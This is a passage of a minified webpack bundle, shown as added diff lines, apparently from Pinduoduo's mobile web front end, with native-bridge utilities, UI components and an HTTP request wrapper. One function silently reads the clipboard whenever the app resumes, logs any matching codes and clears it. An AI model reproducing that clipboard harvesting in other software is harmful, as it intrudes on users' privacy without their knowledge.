{ + n.push(f.a.createElement(""p"", { + className: ""desc"", + key: t + }, e)) + }), + f.a.createElement(""div"", { + style: { + display: this.state.display + }, + className: ""bg-fill"" + }, f.a.createElement(""div"", { + id: ""fc-link"" + }, f.a.createElement(""div"", { + className: ""fc-link-detail"" + }, e, n, f.a.createElement(""div"", { + className: ""confirm-button"", + onClick: function(e) { + t.clickConfirm(e) + } + }, f.a.createElement(""span"", null, this.props.confirm))), f.a.createElement(""div"", { + className: ""fc-padding-bottom"" + }))) + } + }]), + t + }(n(""+zrp"").a); + m.defaultProps = { + title: ""请先关注拼多多,以便通知发货"", + desc: [""在新页面点击关注按钮或者点击拼多多图"", ""标,即可关注""], + confirm: ""去关注"", + notHide: !0 + }, + t.default = m + }, + phfm: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, "".pin-spinner {\n display: none;\n width: 0.34rem;\n height: 0.34rem;\n position: fixed;\n margin-left: -0.17rem;\n z-index: 999999999;\n left: 50%;\n top: 35%;\n}\n\n.pin-spinner-container1 > div,\n.pin-spinner-container2 > div,\n.pin-spinner-container3 > div {\n width: .1rem;\n height: .1rem;\n background-color: #DF2127;\n border-radius: 100%;\n position: absolute;\n -webkit-animation: bouncedelay 1.2s infinite ease-in-out;\n animation: bouncedelay 1.2s infinite ease-in-out;\n -webkit-animation-fill-mode: both;\n animation-fill-mode: both;\n}\n\n.pin-spinner .pin-spinner-container {\n position: absolute;\n width: 100%;\n height: 100%;\n}\n\n.pin-spinner-container2 {\n -webkit-transform: rotateZ(45deg);\n transform: rotateZ(45deg);\n}\n\n.pin-spinner-container3 {\n -webkit-transform: rotateZ(90deg);\n transform: rotateZ(90deg);\n}\n\n.pin-spinner-circle1 {\n top: 0;\n left: 0;\n}\n\n.pin-spinner-circle2 {\n top: 0;\n right: 0;\n}\n\n.pin-spinner-circle3 {\n right: 0;\n bottom: 0;\n}\n\n.pin-spinner-circle4 {\n left: 0;\n bottom: 0;\n}\n\n.pin-spinner-container2 .pin-spinner-circle1 {\n -webkit-animation-delay: -1.1s;\n animation-delay: -1.1s;\n}\n\n.pin-spinner-container3 .pin-spinner-circle1 {\n -webkit-animation-delay: -1.0s;\n animation-delay: -1.0s;\n}\n\n.pin-spinner-container1 .pin-spinner-circle2 {\n -webkit-animation-delay: -0.9s;\n animation-delay: -0.9s;\n}\n\n.pin-spinner-container2 .pin-spinner-circle2 {\n -webkit-animation-delay: -0.8s;\n animation-delay: -0.8s;\n}\n\n.pin-spinner-container3 .pin-spinner-circle2 {\n -webkit-animation-delay: -0.7s;\n animation-delay: -0.7s;\n}\n\n.pin-spinner-container1 .pin-spinner-circle3 {\n -webkit-animation-delay: -0.6s;\n animation-delay: -0.6s;\n}\n\n.pin-spinner-container2 .pin-spinner-circle3 {\n -webkit-animation-delay: -0.5s;\n animation-delay: -0.5s;\n}\n\n.pin-spinner-container3 .pin-spinner-circle3 {\n -webkit-animation-delay: -0.4s;\n animation-delay: -0.4s;\n}\n\n.pin-spinner-container1 .pin-spinner-circle4 {\n -webkit-animation-delay: -0.3s;\n animation-delay: -0.3s;\n}\n\n.pin-spinner-container2 .pin-spinner-circle4 {\n -webkit-animation-delay: -0.2s;\n animation-delay: -0.2s;\n}\n\n.pin-spinner-container3 .pin-spinner-circle4 {\n -webkit-animation-delay: -0.1s;\n animation-delay: -0.1s;\n}\n\n@-webkit-keyframes bouncedelay {\n 0%, 80%, 100% {\n -webkit-transform: scale(0);\n transform: scale(0);\n }\n\n 40% {\n -webkit-transform: scale(1);\n transform: scale(1);\n }\n}\n\n@keyframes bouncedelay {\n 0%, 80%, 100% {\n -webkit-transform: scale(0);\n transform: scale(0);\n }\n\n 40% {\n -webkit-transform: scale(1);\n transform: scale(1);\n }\n}"", """"]) + }, + q0Ap: function(e, t, n) { + var r = n(""YjY0""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + qiMe: function(e, t, n) { + ""use strict""; + var r = n(""cDf5""), + a = n.n(r), + i = n(""3OdE""), + o = n(""xnWZ""), + s = n(""kk8N""), + c = n(""IgcI""), + u = n(""Fcpp""), + l = n(""ii9O""), + p = n(""/O6k""), + d = n(""EhKJ""), + h = n(""ouH+""), + f = n(""b5fu""), + m = { + ON_FOREGROUND: ""pdd_on_foreground"", + ON_BACKGROUND: ""pdd_on_background"" + }, + g = i.a.constant, + v = function() {}, + _ = { + meta: null, + pddEvent: m, + init: function(e) { + this.meta = e + }, + getAppBuild: function() { + var e = f.a.getValueFromUserAgent(""phh_"" + o.b.Current + ""_build/""); + return null === e && (e = """"), + e + }, + isCurrentVersionInReview: function() { + if (!this.meta) + return !1; + var e = o.b.getAppVersion(), + t = this.meta.in_review_version; + return o.b.Current == o.b.IOS && 0 == this.compareVersion(e, t) + }, + getMinimumSupportedVersion: function(e) { + if (!this.meta) + throw new Error(""You need init appUtil before using method in it""); + return this.meta.cur_version + }, + getHybridPackVersion: function(e) { + if (e = e || ""pdd_web_version"", + this.meta && this.meta[e]) { + var t = e.split(""_""); + return t.pop(), [t = t.join(""_""), this.meta[e]].join(""_"") + } + return null + }, + compareVersion: function(e, t) { + for (var n = function(e) { + var t = []; + return null == e || e.length <= 0 ? t : (e.split(""."").forEach(function(e) { + t.push(parseInt(e)) + }), + t) + }, r = n(e), a = n(t), i = Math.max(r.length, a.length), o = 0; o < i; ++o) { + var s = parseInt(r[o] || ""0""), + c = parseInt(a[o] || ""0""); + if (s != c) + return s - c + } + return 0 + }, + getPasteboard: function(e) { + s.a.callNative(""JSStorage"", ""getPasteboard"", null, function(t) { + f.a.call(e, t) + }, function() { + f.a.call(e) + }) + }, + setPasteboard: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : v; + s.a.callNative(""JSStorage"", ""setPasteboard"", { + text: e + }, t, n) + }, + setPasteboardKL: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : v, + r = o.b.getAppVersion(), + a = this.compareVersion(r, ""4.53.0"") < 0 ? ""JSStorage"" : ""JSCipher""; + s.a.callNative(a, ""setPasteboard"", { + text: e + }, t, n) + }, + showSharePage: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : v, + r = o.b.getAppVersion(); + if (this.compareVersion(r, ""4.52.0"") < 0) + return n(); + s.a.callNative(""AMShare"", ""showSharePage"", e, t, n) + }, + vibrateShort: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : v, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = o.b.getAppVersion(); + if (this.compareVersion(n, ""4.29.0"") < 0) + return t(); + s.a.callNative(""AMDevice"", ""vibrateShort"", null, e, t) + }, + vibrateLong: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : v, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = o.b.getAppVersion(); + if (this.compareVersion(n, ""4.29.0"") < 0) + return t(); + s.a.callNative(""AMDevice"", ""vibrateLong"", null, e, t) + }, + disableSwipeBack: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : v, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = o.b.getAppVersion(); + if (this.compareVersion(n, ""4.30.0"") < 0) + return t(); + s.a.callNative(""JSUIControl"", ""disableSwipeBack"", null, e, t) + }, + enableSwipeBack: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : v, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = o.b.getAppVersion(); + if (this.compareVersion(n, ""4.30.0"") < 0) + return t(); + s.a.callNative(""JSUIControl"", ""enableSwipeBack"", null, e, t) + }, + getLatestCoupon: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : v, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = o.b.getAppVersion(); + if (this.compareVersion(n, ""4.31.0"") < 0) + return t(); + s.a.callNative(""PDDCouponStateService"", ""getLatestCoupon"", null, e, t) + }, + updateDDJBParams: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : v, + r = o.b.getAppVersion(); + if (this.compareVersion(r, ""4.47.0"") < 0) + return n(); + s.a.callNative(""PDDGoodsDetailConfig"", ""updateDDJBParams"", e, t, n) + }, + getDDJBParams: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : v, + r = o.b.getAppVersion(); + if (this.compareVersion(r, ""4.47.0"") < 0) + return n(); + s.a.callNative(""PDDGoodsDetailConfig"", ""getDDJBParams"", e, t, n) + }, + getBatteryInfo: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : v, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = o.b.getAppVersion(); + if (this.compareVersion(n, ""4.48.0"") < 0) + return t(); + s.a.callNative(""AMDevice"", ""getBatteryInfo"", null, e, t) + }, + venderAppIds: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : v, + r = o.b.getAppVersion(); + if (this.compareVersion(r, ""4.49.0"") < 0) + return n(); + s.a.callNative(""AMShare"", ""venderAppIds"", e, t, n) + }, + getSourceApplication: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : v, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = o.b.getAppVersion(); + if (this.compareVersion(n, ""4.52.0"") < 0) + return t(); + s.a.callNative(""PDDLaunchInfo"", ""getSourceApplication"", null, e, t) + }, + showKeyboard: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : v, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = o.b.getAppVersion(); + if (this.compareVersion(n, ""4.56.0"") < 0) + return t(); + s.a.callNative(""JSKeyboard"", ""showKeyboard"", null, e, t) + }, + focusAndShowKeyboard: function(e) { + var t = e.domObj, + n = e.onSuccess, + r = void 0 === n ? v : n, + a = e.onError, + i = void 0 === a ? v : a; + if (!t || ""function"" != typeof t.focus) + return i(); + t.focus(), + o.b.Current === o.b.Android && this.showKeyboard(r, i) + } + }, + b = function(e, t) { + var n = {}, + r = function() { + var t = 0, + r = function() { + c.default.showToast(""您的专享码有误!"") + }, + a = function() { + if (0 !== t) { + u.a.trackingRecord({ + event: ""app_group_code"", + detail: ""forward_"" + t + }); + var e = l.a.GroupUrl + ""?is_group_app=1&group_order_id="" + t; + l.a.forward(e) + } else + r() + }; + if (4 !== e.length && 5 !== e.length) + return t = function() { + var t = parseInt(e, 16).toString(); + if (15 !== t.length) + return 0; + var n = parseInt(t.substring(0, 6), 10); + return n < 160119 || n > 160123 ? 0 : parseInt(t.substring(6, 11), 10) > 86400 ? 0 : t + }(), + void a(); + p.a.apiRequest(""GET"", ""group_order/app/code?group_id="" + n.GroupID + ""&invite_code="" + e + ""&src=board"", null, function(e) { + t = e.group_order_id || 0, + a() + }, function() { + r() + }, !0, !1, !0) + }; + p.a.apiRequest(""GET"", ""mobile_app_groups"", null, function(e) { + var a = (e.mobile_app_groups || [])[0]; + if (a) { + var i = parseInt((new Date).getTime() / 1e3, 10); + (n = { + IsStart: i >= a.start_time && i <= a.end_time, + GoodsID: a.goods_id, + GroupID: a.group_id, + GoodsImg: a.thumb_url, + GoodsName: a.goods_name || ""APP专享团"" + }).IsStart && c.default.showJSAlert(g.AlertType.Confirm.ConfirmAppGroup, r, null, null, { + imgUrl: n.GoodsImg, + descData: n.GoodsName, + showCallback: t + }) + } + }) + }; + _.joinAppGroup = b; + var y = function() { + o.b.isNativeIndexVersion || _.isCurrentVersionInReview() || _.getPasteboard(function(e) { + var t = (e = e || {}).text || """"; + if (t.length > 0) { + var n = function(e) { + return (e = (e || """").trim()).match(/^[a-z0-9]{4,5}$/) ? e : null + }(t); + n && (u.a.trackingRecord({ + event: ""app_group_code"", + detail: ""show_"" + n + }), + b(n, function() { + _.setPasteboard("""") + })) + } + }) + }, + w = function(e) { + e = e || g.AlertType.Confirm.ConfirmAppUpdate; + var t = { + clickBgDisabled: !0, + showCallback: function() { + e === g.AlertType.Confirm.ConfirmAppUpdate && function(e, t, n) { + s.a.callNative(""JSStorage"", ""set"", { + key: e, + value: JSON.stringify(t) + }, function() { + f.a.call(n) + }) + }(g.NativeStorageKey.CheckUpdateTime, (new Date).getDate().toString()) + } + }, + n = function() { + o.b.isModuleVersion && s.a.callNative(""AMNavigator"", ""dismissMask""), + e === g.AlertType.Confirm.ConfirmAppUpdate && setTimeout(y, 500) + }, + r = function() { + var e = _.getAppVersion(); + if (o.b.Current === o.b.Android) { + var t = { + type: 0, + content: g.AppDownloadUrl.Android + }; + _.compareVersion(e, ""1.2.2"") > 0 ? s.a.callNative(""AMLinking"", ""openURL"", t) : _.compareVersion(e, ""1.0.2"") > 0 ? s.a.callNative(""JSBrowser"", ""openUrl"", t) : l.a.forward(g.AppDownloadUrl.Default) + } else if (o.b.Current === o.b.IOS) + if (_.compareVersion(e, ""2.0.5"") > 0) + s.a.callNative(""AMLinking"", ""openURL"", { + url: g.AppDownloadUrl.IOS + }); + else { + var r = document.createElement(""meta""); + r.httpEquiv = ""Refresh"", + r.content = ""0;URL="" + g.AppDownloadUrl.IOS, + document.head.appendChild(r) + } else + l.a.forward(g.AppDownloadUrl.Default); + n() + }, + a = function() { + e === g.AlertType.Confirm.ConfirmJSPhotoAppUpdate ? (u.a.trackingRecord({ + event: ""confirm_jsphoto"", + action: ""show"" + }), + c.default.showConfirm(""上传凭证需要下载新版本才能支持,为保障您的售后权益,请先下载最新版本"", function() { + u.a.trackingRecord({ + event: ""confirm_jsphoto"", + action: ""download"" + }), + r() + }, function() { + u.a.trackingRecord({ + event: ""confirm_jsphoto"", + action: ""cancel"" + }) + }, ""点击下载"", ""放弃更新"", ""温馨提示"")) : c.default.showJSAlert(e, r, n, null, t) + }; + o.b.isNativeIndexVersion && o.b.isNativeUpdateVersion ? s.a.callNative(""WebScene"", ""getExtra"", null, function(e) { + a() + }, function() { + a() + }) : a() + }; + _.setRightBarButtons = function(e) { + o.b.isNativePlatform() && o.b.isModuleVersion && (e = e || { + buttons: [{ + icon: 1, + action: ""Navigation.reload()"" + }, { + icon: 2, + action: ""Share.show()"" + }] + }, + s.a.callNative(""JSUIControl"", ""setRightBarButtons"", e)) + }, + _.loadAccessToken = function(e) { + var t = function(t) { + var n = (t = t || {}).value || ""null""; + ""null"" !== n && 0 !== n.length || (n = null), + h.a.setAccessToken(n), + f.a.call(e) + }; + o.b.isNativeLoginVersion ? s.a.callNative(""AMUser"", ""getAccessToken"", null, function(e) { + t({ + value: (e = e || {}).access_token + }) + }, function() { + t() + }) : s.a.callNative(""JSStorage"", ""getSecure"", { + key: ""__ACCESS_TOKEN__"" + }, function(e) { + t(e) + }, function() { + t() + }) + }, + _.loadUserInfo = function(e) { + var t = function(t) { + var n = (t = t || {}).access_token || ""null""; + ""null"" !== n && 0 !== n.length || (n = null); + var r = parseInt(t.user_id, 10) || 0; + n === h.a.getAccessToken() && r === h.a.userID || h.a.clearUserStorage(), + h.a.setAccessToken(n), + h.a.userID = r, + t.uin && (h.a.userUIN = t.uin), + t.type && h.a.setAppLoginType(t.type), + f.a.call(e) + }; + o.b.isNativeLoginVersion ? s.a.callNative(""AMUser"", ""info"", null, function(e) { + t(e) + }, function() { + _.loadAccessToken(e) + }) : s.a.callNative(""JSStorage"", ""getSecure"", { + key: ""__ACCESS_TOKEN__"" + }, function(e) { + t({ + access_token: e.value + }) + }, function() { + f.a.call(e) + }) + }, + _.registerSceneNotification = function(e) { + var t = this, + n = function() { + t.checkAndShowAppUpdate({ + checkPasteboard: !0 + }) + }, + r = d.a.register(""onApplicationResume"", n); + for (var a in e = e || {}, + d.a.register(""onSceneLeave"", function() { + d.a.unregister(r); + var t = document.createEvent(""CustomEvent""); + t.initCustomEvent(m.ON_BACKGROUND, !1, !0, {}), + window.dispatchEvent(t), + f.a.call(e.onSceneLeave) + }), + d.a.register(""onSceneReturn"", function(t) { + r = d.a.register(""onApplicationResume"", n), + f.a.call(e.onSceneReturn, t); + var a = document.createEvent(""CustomEvent""); + a.initCustomEvent(m.ON_FOREGROUND, !1, !0, { + payload: t + }), + window.dispatchEvent(a) + }), + e) + if (a && e.hasOwnProperty(a) && -1 === [""onSceneLeave"", ""onSceneReturn""].indexOf(a)) { + var i = e[a]; + d.a.register(a, i) + } + }, + _.setupPullReload = function(e) { + s.a.callNative(""JSUIControl"", e ? ""disablePullReload"" : ""enablePullReload"") + }, + _.setHeaderRefresh = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v, + n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : v, + r = o.b.getAppVersion(); + if (this.compareVersion(r, o.b.Current === o.b.IOS ? ""4.56.0"" : ""4.64.0"") < 0) + return n(); + s.a.callNative(""JSUIControl"", ""setHeaderRefresh"", e, t, n) + }, + _.checkNativeFriendsEnable = function(e, t) { + s.a.check(""PDDABTest"", ""isFriendFeatureEnable"", function(n) { + n ? s.a.callNative(""PDDABTest"", ""isFriendFeatureEnable"", null, e, t) : t && t() + }, function() { + t && t() + }) + }, + _.checkNativeTimelineEnable = function(e, t) { + s.a.check(""PDDABTest"", ""isTimelineFeatureEnable"", function(n) { + n ? s.a.callNative(""PDDABTest"", ""isTimelineFeatureEnable"", null, e, t) : t && t() + }, function() { + t && t() + }) + }, + _.registerFriendsGrayChange = function(e) { + d.a.register(""PDDUpdateFriendFeaturesNotification"", function(t) { + t && t.is_enabled && e && e() + }) + }, + _.sendSharedNotification = function(e, t) { + d.a.send(""PDDSentFriendGroupCardMessagesNotification"", e, t, t) + }, + _.checkAudioEnabled = function(e, t) { + s.a.callNative(""PDDAudio"", ""check"", null, function(t) { + e && f.a.call(e, t) + }, function(e) { + t && f.a.call(t, e) + }) + }, + _.enableAudio = function(e, t) { + s.a.callNative(""PDDAudio"", ""enable"", null, function(t) { + e && f.a.call(e, t) + }, function(e) { + t && f.a.call(t, e) + }) + }, + _.playAudio = function(e, t, n) { + s.a.callNative(""PDDAudio"", ""play"", e, function(e) { + t && f.a.call(t, e) + }, function(e) { + n && f.a.call(n, e) + }) + }, + _.stopAudio = function(e, t) { + s.a.callNative(""PDDAudio"", ""stop"", null, function(t) { + e && f.a.call(e, t) + }, function(e) { + t && f.a.call(t, e) + }) + }, + _.preloadAudio = function(e, t, n) { + s.a.callNative(""PDDAudio"", ""preload"", e, function(e) { + t && f.a.call(t, e) + }, function(e) { + n && f.a.call(n, e) + }) + }, + _.startRecord = function(e, t, n) { + s.a.callNative(""PDDAudio"", ""record"", e, function(e) { + t && f.a.call(t, e) + }, function(e) { + n && f.a.call(n, e) + }) + }, + _.stopRecord = function(e, t) { + s.a.callNative(""PDDAudio"", ""stopRecord"", null, function(t) { + e && f.a.call(e, t) + }, function(e) { + t && f.a.call(t, e) + }) + }, + _.uploadAudio = function(e, t, n) { + s.a.callNative(""PDDAudio"", ""upload"", e, function(e) { + t && f.a.call(t, e) + }, function(e) { + n && f.a.call(n, e) + }) + }, + _.checkAndShowAppUpdate = function(e) { + if (e = e || {}, + o.b.isNativeUpdateVersion) + return f.a.call(e.callback, !1), + void(e.checkPasteboard && y()); + if (! function() { + if (o.b.isNativeUpdateVersion) + return !1; + var e = _.getMinimumSupportedVersion(), + t = o.b.getAppVersion(); + return _.compareVersion(t, e) < 0 + }()) + return f.a.call(e.callback, !1), + void(e.checkPasteboard && y()); + var t = (new Date).getDate().toString(); + ! function(e, t, n) { + var r = function(e) { + var r = n; + if (void 0 !== (e = e || {}).value) + try { + r = JSON.parse(e.value) + } catch (e) {} + f.a.call(t, r) + }; + s.a.callNative(""JSStorage"", ""get"", { + key: e + }, function(e) { + r(e) + }, function() { + r() + }) + }(g.NativeStorageKey.CheckUpdateTime, function(n) { + var r = n !== t; + r && w(), + f.a.call(e.callback, r), !r && e.checkPasteboard && y() + }, """") + }, + _.showJSPhotoAppUpdate = function() { + w(g.AlertType.Confirm.ConfirmJSPhotoAppUpdate) + }, + _.showAppUpdate = function() { + w() + }, + _.checkNotifyFromNative = function(e, t) { + s.a.callNative(""AMUserNotification"", ""checkNotify"", {}, function(t) { + f.a.call(e, t) + }, function(e, n) { + f.a.call(t, e, n) + }) + }, + _.enableNotifyFromNative = function(e, t) { + s.a.callNative(""AMUserNotification"", ""enableNotify"", {}, function(t) { + f.a.call(e, t) + }, function(e, n) { + f.a.call(t, e, n) + }) + }, + _.checkNativeABTest = function(e, t, n) { + function r(e) { + t && t(!!e.is_enabled) + } + + function i() { + n && n() + } + s.a.check(""PDDABTest"", ""check"", function(t) { + t ? s.a.callNative(""PDDABTest"", ""check"", e, r, i) : n && n() + }, function() { + n && n() + }), + e = ""object"" !== a()(e) || null === e ? { + name: e + } : e + }, + _.updatePageContext = function(e) { + s.a.callNative(""AMNavigator"", ""pageContext"", null, e) + }, + _.updateReferPageContext = function(e, t) { + s.a.callNative(""AMNavigator"", ""referPageContext"", null, e, t) + }, + _.setPageContextForNative = function(e) { + s.a.callNative(""AMNavigator"", ""setPageContext"", e, function() {}) + }, + _.addPageContextForNative = function(e) { + s.a.callNative(""AMNavigator"", ""addPageContext"", e, function() {}) + }, + _.selectContact = function(e) { + o.b.isNativeContactVersion ? s.a.callNative(o.b.isNativeNewContactVersion ? ""PDDContacts"" : ""AMContacts"", ""selectContact"", null, function(t) { + e && e(t) + }, function() { + e && e({}) + }) : e && e({}) + }, + _.checkContactsAuthority = function(e) { + o.b.isNativeContactAuthorityVersion ? s.a.callNative(""PDDContacts"", ""check"", null, function(t) { + e && e(t) + }, function() { + e && e() + }) : e && e() + }, + _.searchContactsByMobiles = function(e, t) { + o.b.isNativeContactVersion ? s.a.callNative(o.b.isNativeNewContactVersion ? ""PDDContacts"" : ""AMContacts"", ""searchContacts"", { + mobiles: e || [] + }, function(e) { + t && t(e) + }, function() { + t && t() + }) : t && t() + }, + _.canRenderInMask = function() { + return new Promise(function(e, t) { + o.b.isModuleVersion && o.b.Current === o.b.IOS ? s.a.check(""AMNavigator"", ""mask"", function(t) { + e(!!t) + }) : e(!1) + }) + }, + _.setBackButton = function(e, t, n) { + s.a.callNative(""JSUIControl"", ""setBackButton"", e, t, n) + }, + _.checkPDDTester = function(e, t, n) { + var r = { + name: e || """" + }; + s.a.callNative(""PDDABTest"", ""check"", r, t, n) + }, + _.openDirectPay = function(e, t, n, r) { + var a = { + type: e, + params: { + sign_url: t + } + }; + s.a.callNative(""AMAgreement"", ""sign"", a, n, r) + }; + _.orderStatusChange = function(e, t) { + d.a.send(""OrderStatusChangedNotification"", e, t, t) + }; + _.cardStatusChange = function(e, t) { + d.a.send(""PDDCardStatusChangeNotification"", e, t, t) + }; + _.cardBrandCouponPageReady = function(e, t) { + d.a.send(""PDDCardBrandCouponPageReady"", e, t, t) + }, + _.onWebMounted = function() { + var e = o.b.getAppVersion(); + f.a.compareVersion(e, ""4.27.0"") >= 0 && s.a.callNative(""WebScene"", ""onWebMounted"") + }; + var S = {}; + S = _; + t.a = S + }, + rIj9: function(e, t, n) { + ""use strict""; + var r = n(""MVZn""), + a = n.n(r), + i = n(""vDqi""), + o = n.n(i), + s = function(e, t) { + return t.map(function(t) { + return { + request: e.interceptors.request.use(t.request, t.requestError), + response: e.interceptors.response.use(t.response, t.responseError) + } + }) + }, + c = n(""KoDT""), + u = n(""h3qu""), + l = n(""Rn+g""), + p = n.n(l), + d = n(""MLWZ""), + h = n.n(d), + f = n(""kk8N""), + m = Object(c.b)(window.navigator.userAgent).version, + g = Object(u.c)(m, ""4.69.0"") >= 0; + + function v(e) { + return new Promise(function(t, n) { + var r = ""post"" === e.method && e.data ? e.data : """", + i = { + method: e.method.toUpperCase(), + url: h()(e.url, e.params, e.paramsSerializer), + headers: a()({}, e.headers, { + Referer: location.href, + ""p-mode"": ""1"" + }), + data: r + }; + g && (i.force_anti_token = !!e.useNativeAntiToken), + i.encode_resp = void 0 === e.encodeNativeResponse || e.encodeNativeResponse; + var o = { + nativeParams: i, + config: e + }; + + function s(e) { + return e.headers && e.headers.AccessToken && (e.headers.AccessToken = e.headers.AccessToken.length), + e + } + f.a.callNative(""JSNetwork"", ""request"", i, function(r) { + var a = r.status, + i = r.response, + s = r.response_encoded, + c = void 0 === s || s, + u = { + data: null, + status: a, + statusText: """" + a, + config: e, + headers: {}, + request: o + }; + try { + u.data = JSON.parse(c ? decodeURIComponent(i) : i) + } catch (e) { + 0, + u.data = { + error_msg: e.message, + error_code: 0 + } + } + p()(t, n, u) + }, function(t, r) { + var a = new Error(""native request error: "".concat(r)); + a.errorCode = r, + a.nativeErrorCode = r, + a.request = o, + a.errorType = ""api_error_app"", + a.config = e, + a.toJSON = function() { + return { + message: this.message, + nativeParams: s(this.request.nativeParams), + config: s(this.config), + errorCode: this.errorCode, + nativeErrorCode: this.nativeErrorCode + } + }, + Object(u.c)(m, ""4.0.0"") > 0 && f.a.callNative(""JSLogger"", ""log"", { + module: ""h5-isomorphic-request"", + message: e.url + "" failed, "" + JSON.stringify(s(i)), + level: 4 + }); + n(a) + }) + }) + } + var _ = n(""tQ2B""), + b = n.n(_); + + function y(e) { + return b()(e).catch(function(t) { + throw t.config = t.config || e, + t + }) + } + var w = n(""iTkx""), + S = n(""AGSb""), + C = n(""mj+i""), + A = n(""Fcpp""), + I = n(""UxpZ""), + k = n(""mG/U""), + E = n(""ouH+""), + T = n(""ii9O""), + N = n(""IgcI""), + x = n(""MpJ2""), + O = function() { + var e = Object(c.a)(), + t = e.platform, + n = e.version, + r = t === u.a.PddIOS && Object(u.c)(n, ""4.45.0"") >= 0, + a = t === u.a.PddAndroid && Object(u.c)(n, ""4.40.0"") >= 0; + return r || a + }(), + D = function() { + return { + responseError: function(e) { + var t = parseInt(e.errorCode, 10); + switch (t) { + case k.a.AUTHENTICATION_FAILED: + E.a.login(null, null, null, function() { + return T.a.back() + }); + break; + case 54001: + ! function(e) { + if (O) + return; + var t = e.verify_auth_token; + localStorage.setItem(""VerifyAuthToken"", t), + T.a.forward(""/psnl_verification.html?VerifyAuthToken="" + t) + }(e.response.data || {}); + break; + default: + e.config && e.config.defaultErrorHandler ? e.config.defaultErrorHandler(e) : function(e) { + N.default ? N.default.showToast(e) : Object(N.showToast)(e) + }(Object(k.b)(t)) + } + throw e + } + } + }; + var P = ""//apiv2.hutaojie.com/"", + R = ""https://api.pinduoduo.com/""; + n.d(t, ""a"", function() { + return M + }); + var M = function(e, t) { + var n = e.pageInfo, + r = e.useGlbDomain, + i = Object(c.a)(), + l = i.isNativePlatform, + p = i.isTinyNativePlatform, + d = l || p, + f = function(e) { + var t = o.a.create(e); + return { + http: t, + usePlugins: function(e) { + return s(t, e) + } + } + }(a()({ + baseURL: function(e) { + e = e || ""csr.yangkeduo.com"" === location.hostname; + var t = Object(u.k)() ? ""https:"" : location.protocol, + n = Object(w.a)(location.hostname) ? t + P : R, + r = location.protocol + ""//"" + location.host + ""/proxy/api/""; + return e ? n : r + }(r || d), + withCredentials: !0, + adapter: d ? v : y, + headers: {} + }, t)), + m = f.http; + return (0, + f.usePlugins)([{ + response: function(e) { + var t = e.data, + n = e.config, + r = e.request; + if (t && t.error_code && !0 !== t.success) { + var a = t.error_msg || ""unknown biz error"", + i = new Error(a); + throw i.errorType = ""api_biz_error"", + i.errorCode = t.error_code, + i.config = n, + i.request = r, + i.response = e, + i + } + return e + }, + responseError: function(e) { + if (!e.response) + throw e.errorType = ""api_http_error"", + e; + var t = e.response.data; + throw t && t.error_code && (e.message = t.error_msg || e.message, + e.errorCode = t.error_code, + e.errorType = ""api_biz_error""), + e + } + }, + function(e) { + var t = Object(c.a)().isNativePlatform, + n = function(n) { + var r = n.response, + a = n.config, + i = { + op: ""real_error"", + sub_op: ""api_error"", + url: a.method + "":"" + a.url, + page_url: location.href, + error_code: n.errorCode, + error_message: n.message, + error_type: n.errorType, + params: JSON.stringify({ + params: a.params, + data: a.data + }) + }; + if (!r) + throw i.errorCode = i.errorCode || 0, + A.a.trackingRecord(i), + n; + var o = r.status, + s = r.statusText, + c = r.data || { + error_code: 0 + }; + throw n.errorCode = n.errorCode || c.error_code, + i.http_code = o, + i.statusText = s, + i.resData = r.data, + A.a.trackingRecord(i), + t || I.a.tracking({ + requestTime: a.requestTime, + resTimeConsume: Date.now() - a.requestTime, + reqData: { + params: a.params, + data: a.data + }, + resData: r.data, + apiUrl: h()(a.url, a.params, a.paramsSerializer), + statusCode: parseInt(c.error_code, 10) || o, + errorCode: c.error_code, + pageId: e.pageId + }), + n + }; + return t ? { + responseError: n + } : { + request: function(e) { + return e.requestTime = Date.now(), + e + }, + response: function(t) { + var n = t.data, + r = t.config; + return r.resTimeConsume = Date.now() - t.config.requestTime, + I.a.tracking({ + requestTime: r.requestTime, + 